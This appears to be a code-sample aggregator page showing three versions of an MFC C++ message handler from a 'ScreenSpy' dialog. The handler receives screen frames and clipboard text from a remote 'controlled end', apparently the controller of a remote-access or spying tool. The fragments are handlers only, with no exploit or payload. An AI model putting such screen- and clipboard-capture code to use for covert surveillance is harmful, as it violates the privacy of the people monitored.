Esempio n. 1
0
void CScreenSpyDlg::OnReceiveComplete(void)
{
	m_nCount++;

	switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
	{
	case TOKEN_FIRSTSCREEN:
		{
			DrawFirstScreen();            //这里显示第一帧图像 一会转到函数定义
			break;
		}
	case TOKEN_NEXTSCREEN:
		{
			if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_DIFF)   //我们可以在这里使用不同的算法    
				DrawNextScreenDiff();     //这里是第二帧之后的数据了

			break;
		}
	
	case TOKEN_CLIPBOARD_TEXT:            //获取被控端的剪切板数据
		{
			UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
			break;
		}
	        
		
	default:
		// 传输发生异常数据
		return;
	}
}
Esempio n. 2
0
void CScreenSpyDlg::OnReceiveComplete()
{
	m_nCount++;

	switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
	{
	case TOKEN_FIRSTSCREEN:
		DrawFirstScreen();
		break;
	case TOKEN_NEXTSCREEN:
		if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
			DrawNextScreenRect();
		else
			DrawNextScreenDiff();
		break;
	case TOKEN_BITMAPINFO:
		ResetScreen();
		break;
	case TOKEN_CLIPBOARD_TEXT:
		UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
		break;
	default:
		// 传输发生异常数据
		return;
	}
}
Esempio n. 3
0
VOID CScreenSpyDlg::OnReceiveComplete()
{
	if (m_ContextObject==NULL)
	{
		return;
	}

	switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
	{
	case TOKEN_FIRSTSCREEN:
		{

//			MessageBox("1","1");
			DrawFirstScreen();            //这里显示第一帧图像 一会转到函数定义
			break;
		}

	case TOKEN_NEXTSCREEN:
		{

			if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF)
			{
				DrawNextScreenDiff();
			}
		

			break;
		}

	case TOKEN_CLIPBOARD_TEXT:            //给你
		{
			UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
			break;
		}
	}


}